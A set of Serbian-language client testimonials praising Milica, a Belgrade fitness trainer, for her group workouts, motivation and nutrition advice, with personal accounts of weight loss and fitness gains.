Kao trener temeljna, posvecena, istrajna, ljubazna i uvek sa osmehom na licu. Treninzi dinamicni, uvek drugaciji, zanimljivi. To je ono zbog cega mi nije bilo tesko da odem na svaki trening bez izgovora, a zbog cega i dan danas ne mogu da pronadjem nista slicno sto ce me osvojiti kao treninzi sa Milicom!

... momenat kada cuda postaju stvarnost, kada zelja postane ostvarljiva, kada ti se vraca osmeh na lice... Tog dana nisam ni slutila da ce mi se zivot toliko promeniti upoznavsi nju, obicnu devojku koja je bila neverovatno nasmejana,raspolozena, prosto je zracila tom svojom pozitivnoscu, nesebicno je prenoseci na druge... tako je i na mene... A ja sam bila tuzna devojka koja je imala problema sa hormonima, sa debljinom, velikim viskom kilograma... jeduci samo proteine jer je tad bila aktuelna takva vrsta ishrane, nadajuci se da cu ih skinuti na njenim treninzima, neznajuci da mi je bas ona stvarala te probleme, hormoni u zivotinjskom mesu remete nase hormone... A onda su dosli njeni saveti,pored veoma delotvornih treninga... U danasnje vreme ima mnogo ljudi koji su pozitivni ali retki su oni koji to mogu i da prenesu na druge... ona je jedna od njih... A zatim svojim velikim iskustvom u svetu sporta, fitnesa i najvise ishrane je podelila neke odredjene savete sa mnom... i hvala joj na tome... I danas se secam tog dana iako je proslo dosta godina od tad... Cujem se sa njom i danas, i sada ima vremena da odgovori na svaku moju poruku iako sam ja kao i svako drugi, obicna devojka, kojoj je potreban neki savet... a ona se sve te godine i dalje usavrsava i napreduje... Nismo ni drugarice ni prijateljice, jer se to postaje na drugaciji nacin, ali ima veoma vazno mesto u mom zivotu jer mi se od tad zivot poceo menjati...

Treninzi su bili odlični. Bilo je to zabavno iskustvo. Osećala sam se kako se poboljšavam te sam naučila mnogo veština koje i dalje dan danas koristim. Obožavam ih .

Na treninzima je bilo fenomenalno, prijatna atmosfera, jaki i dobri treninzi, trener posvecen svom poslu, a i nama svima. Sve u svemu, prezadovoljna sam bila i rado bih nastavila kada bih imala priliku.

Milica je pre svega jedna divna osoba koja je uvek otvorena da porazgovara sa Vama i da Vam iskreni savet bez podsmevanja ili ruznih pogleda sa mislju "Na sta licis!", sto se verujte mi desava. Sa Milicom se svako oseca motivisano, jer je pravi profesionalac i reci ce Vam uvek da za trening nikada nije kasno.  Svakome se posveti sto se treninga tice maksimalno i pomogne i sa savetima u vezi ishrane, pored svega. Sve tople preporuke za Milicu od mene. Na kraju krajeva, ne morate mi verovati, vec trenirajte sa njom, pa cete se uveriti i sami. I da, da ne zaboravim...pored svega Milica je prelepa...Sve pohvale i tople preporuke za Milicu

Sjajni treninzi, preciznost, postavljanje ciljeva, njihovo ostvarivanje kao i sjajna komunikacija omogucili su mi da sa uvek nasmejanom Milicom uspostavim odnos kakav se moze pozeleti. Uspela je da poboljsa moje performanse, savetovala me je u vezi sa ishranom i odrzavala motivaciju za ostvarivanjem ciljeva. Takodje, naucila me je kako da uzivam u svakom treningu i da mi isti ne predstavlja obavezu, vec nesto cemu sam se celog dana radovala. Uspesno smo saradjivale, preporucila bih je svakome i sa sigurnoscu mogu da tvrdim da ce Milica za kratko vreme uspeti da promeni Vas nacin zivota i da iskoreni lose navike.

Milicu sam slucajno upoznala u jednoj teretani, u Beogradu. Prica pocinje ovako: Odlazila sam na kardio treninge i na poneku spravicu u teretanu u komsiluku dok mi jedan dan paznju nije privukla jedna devojka u sali koja sprema nesto sto jos nisam videla na tv-u, bar ono reklama sto ugrabim u slobodno vreme. Simpatizer sam grupnih treninga, sa razlicitim vezbama i brzim rezultatom. Strpljenje mi je slaba tacka, pogotovo kad imate malo vremena da liniju dovedete skoro do savrsenstva. Ono sto mi je prvo skrenulo pogled ka sali gde se uveliko spremalo nesto novo bila je muzika koja bukvalno "dize iz mrtvih". Dve reci te devojke-Milice, mog trenera, bile su dovoljne da joj se pridruzim odmah, cak i pre formiranja prve grupe polaznika. Nailazim na ODUSEVLJENJE! Strah na pocetku, da li cu izdrzati trening, naporno je, zahteva kondiciju, snagu, koncentraciju, uigranost! Zove se Insanity. Dve godine u tom ritmu je proletelo...4-5 puta nedeljno odlazenja na treninge cinili su mi veliko zadovoljstvo i srecu. Moja sestra je krenula odmah sa mnom. Grupa od deset devojaka treniraju kao jedan! Koliko raspolozenje posle treninga, od sat ipo vremena! Noge, stomak i ruke kao na profi slikama iz casopisa! Trening pripremljen i osmisljen kao u najboljem inostranom spotu, vezbe povezane, koordinacija tela...Prvo zagrevanje, a potom krecemo od glave i vrata, ruku, stomaka, nogu...istezanje. Muzika drzi atmosferu da ne razmisljamo o umoru. Svaki trening drugaciji, nema mesta monotoniji. Koristimo tegice, vijace. Na kraju treninga mokra majica nam najbolje pokaze rezultat svega toga. Moram priznati da sam ishranu morala malo da korigujem jer mi je genetika takva, sve se lepi. To mi je sve bilo lako uz Milicine razgovore, savete, recepte, redovno proveravanje kilaze i masti. Neko je jos brinuo o mom telu i zdravlju.

Trening s Milicom je jedno od najboljih iskustva koje sam imala u zivotu. Tezak posao se s njom cinio toliko lagano. Ona kao trener me gurala u treninzima da postignem svoje ciljeve. Umor nije uopste bio problem s njenom pomoci. Pomogla mi je transformisati moje telo, onako kako sam zelela. Energija i izdrzljivost su mi bile dve najvaznije stvari koje mi je pomogla poboljsati.

Moj muž i ja obožavali smo kao klijenti raditi s Milicom koja nas je držala na nogama sa rigoroznim režimom kroz trening snage, trening za tonus i kardio trening ukomponovan u jedan sat intenzivnog vežbanja. Čak je menjala vežbe tako da nikada nije bilo dosadno i uvek je uspevala napraviti trening za kompletno telo. To je vodilo do vrhunskih rezultata na telesnom i fitness nivou.
